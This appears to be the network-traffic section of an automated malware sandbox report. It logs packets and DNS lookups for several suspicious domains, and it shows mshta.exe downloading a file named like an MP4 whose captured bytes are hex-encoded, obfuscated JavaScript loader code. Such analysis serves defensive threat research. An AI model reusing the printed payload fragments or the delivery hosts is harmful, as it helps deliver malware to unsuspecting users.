Dec 25, 2024 15:10:35.555450916 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.555464983 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:35.555474043 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.555510044 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:35.555516958 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.564023018 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.564064980 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:35.564070940 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.572168112 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.572211981 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:35.572217941 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.580598116 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.580637932 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:35.580647945 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.588952065 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.588996887 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:35.589001894 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.633847952 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:35.747417927 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.757230997 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.757257938 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.757297039 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:35.757308960 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.757332087 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.757353067 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:35.757375956 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:35.757874966 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:35.757889032 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.757899046 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:35.757903099 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.832431078 CET	49831	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:35.832515001 CET	443	49831	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.832613945 CET	49831	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:35.832860947 CET	49831	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:35.832907915 CET	443	49831	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:37.049896955 CET	443	49831	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:37.049963951 CET	49831	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:37.051191092 CET	49831	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:37.051206112 CET	443	49831	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:37.051466942 CET	443	49831	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:37.055381060 CET	49831	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:37.055541039 CET	49831	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:37.055636883 CET	443	49831	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:37.055728912 CET	49831	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:37.055744886 CET	443	49831	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:38.006835938 CET	443	49831	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:38.006922007 CET	443	49831	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:38.006983995 CET	49831	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:38.007078886 CET	49831	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:38.007105112 CET	443	49831	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:38.026098967 CET	49837	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:38.026192904 CET	443	49837	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:38.026276112 CET	49837	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:38.026554108 CET	49837	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:38.026603937 CET	443	49837	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:39.243475914 CET	443	49837	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:39.243565083 CET	49837	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:39.244765043 CET	49837	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:39.244797945 CET	443	49837	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:39.245033026 CET	443	49837	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:39.249315977 CET	49837	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:39.249422073 CET	49837	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:39.249464035 CET	443	49837	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:40.011890888 CET	443	49837	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:40.012021065 CET	443	49837	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:40.012087107 CET	49837	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:40.012274027 CET	49837	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:40.012310982 CET	443	49837	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:40.095738888 CET	49843	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:40.095777035 CET	443	49843	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:40.095855951 CET	49843	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:40.096191883 CET	49843	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:40.096209049 CET	443	49843	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:41.307358027 CET	443	49843	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:41.307454109 CET	49843	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:41.308675051 CET	49843	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:41.308686972 CET	443	49843	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:41.309007883 CET	443	49843	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:41.310142040 CET	49843	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:41.310281992 CET	49843	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:41.310317993 CET	443	49843	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:41.310381889 CET	49843	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:41.310390949 CET	443	49843	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:42.268651009 CET	443	49843	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:42.268769026 CET	443	49843	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:42.268838882 CET	49843	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:42.269010067 CET	49843	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:42.269026041 CET	443	49843	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:42.457515955 CET	49854	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:42.457555056 CET	443	49854	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:42.457629919 CET	49854	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:42.457921028 CET	49854	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:42.457947016 CET	443	49854	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:43.671231985 CET	443	49854	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:43.671394110 CET	49854	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:43.675756931 CET	49854	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:43.675780058 CET	443	49854	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:43.675997019 CET	443	49854	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:43.677256107 CET	49854	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:43.677362919 CET	49854	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:43.677371025 CET	443	49854	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:44.438546896 CET	443	49854	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:44.438637972 CET	443	49854	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:44.438694954 CET	49854	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:44.438973904 CET	49854	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:44.439003944 CET	443	49854	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:44.716988087 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:44.717017889 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:44.717093945 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:44.717376947 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:44.717391968 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:45.927927971 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:45.928030014 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.931864977 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.931870937 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:45.932092905 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:45.933717966 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.935245037 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.935278893 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:45.935395956 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.935434103 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:45.936631918 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.936661959 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.936676979 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:45.936686993 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:45.936827898 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.936856985 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:45.937144995 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.937179089 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:45.937187910 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.937194109 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:45.937369108 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.937405109 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:45.937427998 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.937438011 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:45.937573910 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.937601089 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:45.937628984 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.937647104 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.940548897 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.940579891 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.979362965 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:45.980513096 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.980545044 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:45.980565071 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.980581045 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:45.980596066 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:45.980603933 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:48.192080975 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:48.192161083 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:48.192234993 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:48.192388058 CET	49860	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:48.192403078 CET	443	49860	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:48.213747025 CET	49866	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:48.213772058 CET	443	49866	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:48.213860035 CET	49866	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:48.214287043 CET	49866	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:48.214297056 CET	443	49866	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:49.426394939 CET	443	49866	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:49.426527977 CET	49866	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:49.486260891 CET	49866	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:49.486274958 CET	443	49866	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:49.486469984 CET	443	49866	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:49.508117914 CET	49866	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:49.508117914 CET	49866	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:49.508192062 CET	443	49866	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:50.190766096 CET	443	49866	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:50.190841913 CET	443	49866	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:50.190896034 CET	49866	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:50.191617012 CET	49866	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:50.191627979 CET	443	49866	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:50.191637039 CET	49866	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:50.191642046 CET	443	49866	104.21.112.1	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 25, 2024 15:09:01.095483065 CET	57955	53	192.168.2.4	1.1.1.1
Dec 25, 2024 15:09:01.535645962 CET	53	57955	1.1.1.1	192.168.2.4
Dec 25, 2024 15:09:07.446768999 CET	50161	53	192.168.2.4	1.1.1.1
Dec 25, 2024 15:09:07.858345985 CET	53	50161	1.1.1.1	192.168.2.4
Dec 25, 2024 15:10:31.242381096 CET	52145	53	192.168.2.4	1.1.1.1
Dec 25, 2024 15:10:31.580419064 CET	53	52145	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 25, 2024 15:09:01.095483065 CET	192.168.2.4	1.1.1.1	0xfa21	Standard query (0)	scrutinycheck.cash	A (IP address)	IN (0x0001)	false
Dec 25, 2024 15:09:07.446768999 CET	192.168.2.4	1.1.1.1	0x686d	Standard query (0)	dma.sportstalk-musiclover.com	A (IP address)	IN (0x0001)	false
Dec 25, 2024 15:10:31.242381096 CET	192.168.2.4	1.1.1.1	0x132f	Standard query (0)	hushedocenahu.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 25, 2024 15:09:01.535645962 CET	1.1.1.1	192.168.2.4	0xfa21	No error (0)	scrutinycheck.cash	104.21.38.253	A (IP address)	IN (0x0001)	false
Dec 25, 2024 15:09:01.535645962 CET	1.1.1.1	192.168.2.4	0xfa21	No error (0)	scrutinycheck.cash	172.67.141.153	A (IP address)	IN (0x0001)	false
Dec 25, 2024 15:09:07.858345985 CET	1.1.1.1	192.168.2.4	0x686d	No error (0)	dma.sportstalk-musiclover.com	104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 25, 2024 15:09:07.858345985 CET	1.1.1.1	192.168.2.4	0x686d	No error (0)	dma.sportstalk-musiclover.com	104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 25, 2024 15:09:07.858345985 CET	1.1.1.1	192.168.2.4	0x686d	No error (0)	dma.sportstalk-musiclover.com	104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 25, 2024 15:09:07.858345985 CET	1.1.1.1	192.168.2.4	0x686d	No error (0)	dma.sportstalk-musiclover.com	104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 25, 2024 15:09:07.858345985 CET	1.1.1.1	192.168.2.4	0x686d	No error (0)	dma.sportstalk-musiclover.com	104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 25, 2024 15:09:07.858345985 CET	1.1.1.1	192.168.2.4	0x686d	No error (0)	dma.sportstalk-musiclover.com	104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 25, 2024 15:09:07.858345985 CET	1.1.1.1	192.168.2.4	0x686d	No error (0)	dma.sportstalk-musiclover.com	104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 25, 2024 15:10:31.580419064 CET	1.1.1.1	192.168.2.4	0x132f	No error (0)	hushedocenahu.click	104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 25, 2024 15:10:31.580419064 CET	1.1.1.1	192.168.2.4	0x132f	No error (0)	hushedocenahu.click	104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 25, 2024 15:10:31.580419064 CET	1.1.1.1	192.168.2.4	0x132f	No error (0)	hushedocenahu.click	104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 25, 2024 15:10:31.580419064 CET	1.1.1.1	192.168.2.4	0x132f	No error (0)	hushedocenahu.click	104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 25, 2024 15:10:31.580419064 CET	1.1.1.1	192.168.2.4	0x132f	No error (0)	hushedocenahu.click	104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 25, 2024 15:10:31.580419064 CET	1.1.1.1	192.168.2.4	0x132f	No error (0)	hushedocenahu.click	104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 25, 2024 15:10:31.580419064 CET	1.1.1.1	192.168.2.4	0x132f	No error (0)	hushedocenahu.click	104.21.16.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

scrutinycheck.cash

dma.sportstalk-musiclover.com

hushedocenahu.click

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.38.253	443	3844	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-25 14:09:02 UTC	332	OUT	GET /singl7.mp4 HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: scrutinycheck.cash Connection: Keep-Alive
2024-12-25 14:09:03 UTC	948	IN	HTTP/1.1 200 OK Date: Wed, 25 Dec 2024 14:09:03 GMT Content-Type: video/mp4 Content-Length: 590282 Connection: close ETag: "80823d8b0a3fed5995ac3bd70b17c86d" Last-Modified: Tue, 24 Dec 2024 19:07:31 GMT Vary: Accept-Encoding Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2895 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=du0JkFpKBfAUnz8%2BoOia8%2BOt%2BzxLlILbVZlqGM7xAeusLIIfIUc0iVOBT37DMjgdqSiWc7RvpqR%2FkS5AtJxCavFH%2BkblMPesEecZnVNJxWvg%2BpJo2qhV4HOc3ahKJhVogafePxc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f79681a19231a17-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1985&min_rtt=1974&rtt_var=762&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2869&recv_bytes=914&delivery_rate=1414728&cwnd=128&unsent_bytes=0&cid=7e09186fd4e138ea&ts=466&x=0"
2024-12-25 14:09:03 UTC	421	IN	Data Raw: 36 36 6b 37 35 4f 36 65 46 36 33 68 37 34 7a 36 39 63 36 66 5a 36 65 57 32 30 6b 35 35 6a 34 63 64 34 33 4f 34 33 64 32 38 4d 34 37 62 35 36 5a 35 39 57 36 62 50 37 38 4d 32 39 42 37 62 41 37 36 4a 36 31 6a 37 32 66 32 30 4a 36 31 66 35 31 4d 37 37 4f 36 37 62 37 32 61 34 66 52 33 64 66 32 30 52 32 37 42 32 37 70 33 62 43 36 36 71 36 66 7a 37 32 73 32 30 6c 32 38 79 37 36 6d 36 31 75 37 32 4f 32 30 70 35 39 4b 34 39 64 36 35 4a 37 38 78 35 33 4b 35 61 62 32 30 6f 33 64 54 32 30 6a 33 30 42 33 62 61 35 39 65 34 39 61 36 35 59 37 38 54 35 33 51 35 61 4c 32 30 75 33 63 4a 32 30 53 34 37 78 35 36 78 35 39 63 36 62 57 37 38 5a 32 65 69 36 63 58 36 35 57 36 65 61 36 37 44 37 34 4e 36 38 50 33 62 56 32 30 71 35 39 79 34 39 43 36 35 44 37 38 52 35 33 51 35 61 7a Data Ascii: 66k75O6eF63h74z69c6fZ6eW20k55j4cd43O43d28M47b56Z59W6bP78M29B7bA76J61j72f20J61f51M77O67b72a4fR3df20R27B27p3bC66q6fz72s20l28y76m61u72O20p59K49d65J78x53K5ab20o3dT20j30B3ba59e49a65Y78T53Q5aL20u3cJ20S47x56x59c6bW78Z2ei6cX65W6ea67D74N68P3bV20q59y49C65D78R53Q5az
2024-12-25 14:09:03 UTC	1369	IN	Data Raw: 62 4c 36 31 54 35 31 42 37 37 4e 36 37 45 37 32 4f 34 66 67 32 30 43 33 64 48 32 30 49 36 31 73 35 31 4e 37 37 5a 36 37 47 37 32 47 34 66 77 32 30 5a 32 62 65 32 30 58 34 34 4c 36 36 49 36 63 54 34 32 6e 37 64 50 37 32 51 36 35 66 37 34 6a 37 35 6c 37 32 6d 36 65 50 32 30 76 36 31 41 35 31 71 37 37 50 36 37 65 37 32 52 34 66 4f 37 64 4f 33 62 44 37 36 6c 36 31 6b 37 32 74 32 30 71 36 31 77 35 31 58 37 37 49 36 37 46 37 32 53 34 66 72 32 30 71 33 64 62 32 30 6d 35 35 56 34 63 63 34 33 6d 34 33 72 32 38 67 35 62 6d 33 39 77 33 34 5a 33 37 65 32 63 76 33 39 50 33 34 72 33 36 4e 32 63 72 33 39 58 33 35 4a 33 34 63 32 63 6f 33 39 69 33 33 4c 33 36 62 32 63 6c 33 39 61 33 34 4f 33 39 63 32 63 71 33 39 73 33 35 48 33 30 5a 32 63 52 33 39 74 33 33 77 33 39 6e 32 Data Ascii: bL61T51B77N67E72O4fg20C3dH20I61s51N77Z67G72G4fw20Z2be20X44L66I6cT42n7dP72Q65f74j75l72m6eP20v61A51q77P67e72R4fO7dO3bD76l61k72t20q61w51X77I67F72S4fr20q3db20m55V4cc43m43r28g5bm39w34Z37e2cv39P34r36N2cr39X35J34c2co39i33L36b2cl39a34O39c2cq39s35H30Z2cR39t33w39n2
2024-12-25 14:09:03 UTC	1369	IN	Data Raw: 4a 32 63 61 33 38 46 33 37 67 33 39 66 32 63 6f 33 38 72 33 36 4d 33 37 6c 32 63 58 33 38 61 33 37 4f 33 34 49 32 63 64 33 38 66 33 38 77 33 33 68 32 63 41 33 39 78 33 35 6d 33 35 51 32 63 45 33 38 70 33 37 68 33 31 55 32 63 74 33 38 49 33 37 48 33 33 54 32 63 4d 33 38 70 33 36 51 33 37 5a 32 63 58 33 38 6f 33 37 53 33 34 4c 32 63 46 33 38 67 33 37 77 33 36 41 32 63 53 33 39 6e 33 36 53 33 30 62 32 63 4b 33 38 6f 33 39 63 33 34 43 32 63 43 33 38 58 33 37 73 33 31 6c 32 63 48 33 39 4e 33 34 45 33 33 6b 32 63 59 33 39 4d 33 34 6c 33 38 66 32 63 6b 33 39 74 33 34 59 33 34 68 32 63 4a 33 39 70 33 30 6b 33 31 70 32 63 4d 33 38 6c 33 36 62 33 37 55 32 63 41 33 38 6c 33 39 79 33 36 52 32 63 58 33 38 46 33 36 4a 33 37 46 32 63 67 33 39 46 33 33 51 33 36 70 32 63 Data Ascii: J2ca38F37g39f2co38r36M37l2cX38a37O34I2cd38f38w33h2cA39x35m35Q2cE38p37h31U2ct38I37H33T2cM38p36Q37Z2cX38o37S34L2cF38g37w36A2cS39n36S30b2cK38o39c34C2cC38X37s31l2cH39N34E33k2cY39M34l38f2ck39t34Y34h2cJ39p30k31p2cM38l36b37U2cA38l39y36R2cX38F36J37F2cg39F33Q36p2c
2024-12-25 14:09:03 UTC	1369	IN	Data Raw: 32 63 62 33 38 6c 33 38 50 33 35 56 32 63 55 33 38 4d 33 38 4a 33 39 45 32 63 69 33 39 49 33 30 72 33 31 67 32 63 76 33 38 50 33 39 6e 33 31 55 32 63 77 33 38 64 33 38 77 33 39 48 32 63 4b 33 38 48 33 38 50 33 38 70 32 63 6e 33 38 6d 33 39 6f 33 30 4f 32 63 6d 33 38 45 33 38 52 33 36 53 32 63 78 33 38 77 33 38 4d 33 38 63 32 63 47 33 39 50 33 30 46 33 31 7a 32 63 63 33 39 57 33 30 4a 33 30 49 32 63 58 33 39 73 33 30 70 33 31 69 32 63 6d 33 38 67 33 38 77 33 37 74 32 63 50 33 38 64 33 38 4f 33 34 55 32 63 56 33 39 61 33 30 68 33 31 69 32 63 59 33 38 76 33 38 52 33 38 64 32 63 72 33 38 59 33 38 69 33 34 79 32 63 44 33 38 4c 33 38 4e 33 35 67 32 63 58 33 39 77 33 30 66 33 31 6f 32 63 78 33 39 48 33 30 52 33 34 76 32 63 77 33 38 46 33 38 62 33 34 47 32 63 49 Data Ascii: 2cb38l38P35V2cU38M38J39E2ci39I30r31g2cv38P39n31U2cw38d38w39H2cK38H38P38p2cn38m39o30O2cm38E38R36S2cx38w38M38c2cG39P30F31z2cc39W30J30I2cX39s30p31i2cm38g38w37t2cP38d38O34U2cV39a30h31i2cY38v38R38d2cr38Y38i34y2cD38L38N35g2cX39w30f31o2cx39H30R34v2cw38F38b34G2cI
2024-12-25 14:09:03 UTC	1369	IN	Data Raw: 63 4c 33 38 4e 33 38 66 33 33 53 32 63 52 33 38 41 33 39 46 33 31 62 32 63 4f 33 38 58 33 38 57 33 37 58 32 63 57 33 38 4f 33 38 4f 33 35 66 32 63 61 33 39 65 33 30 4d 33 31 6b 32 63 71 33 38 46 33 39 73 33 32 4d 32 63 56 33 39 6a 33 30 41 33 32 4d 32 63 56 33 38 6d 33 39 65 33 32 54 32 63 71 33 38 4d 33 39 6c 33 30 4d 32 63 6f 33 38 69 33 38 7a 33 38 51 32 63 6b 33 38 47 33 38 50 33 33 75 32 63 77 33 38 54 33 38 62 33 33 57 32 63 7a 33 38 69 33 38 52 33 34 49 32 63 6b 33 38 58 33 38 79 33 33 47 32 63 56 33 38 54 33 38 77 33 39 69 32 63 7a 33 38 73 33 38 46 33 33 62 32 63 73 33 38 44 33 39 68 33 32 4a 32 63 64 33 39 43 33 30 72 33 30 73 32 63 66 33 39 76 33 30 7a 33 35 6a 32 63 70 33 38 78 33 38 50 33 37 43 32 63 48 33 38 65 33 39 4d 33 30 6e 32 63 56 33 Data Ascii: cL38N38f33S2cR38A39F31b2cO38X38W37X2cW38O38O35f2ca39e30M31k2cq38F39s32M2cV39j30A32M2cV38m39e32T2cq38M39l30M2co38i38z38Q2ck38G38P33u2cw38T38b33W2cz38i38R34I2ck38X38y33G2cV38T38w39i2cz38s38F33b2cs38D39h32J2cd39C30r30s2cf39v30z35j2cp38x38P37C2cH38e39M30n2cV3
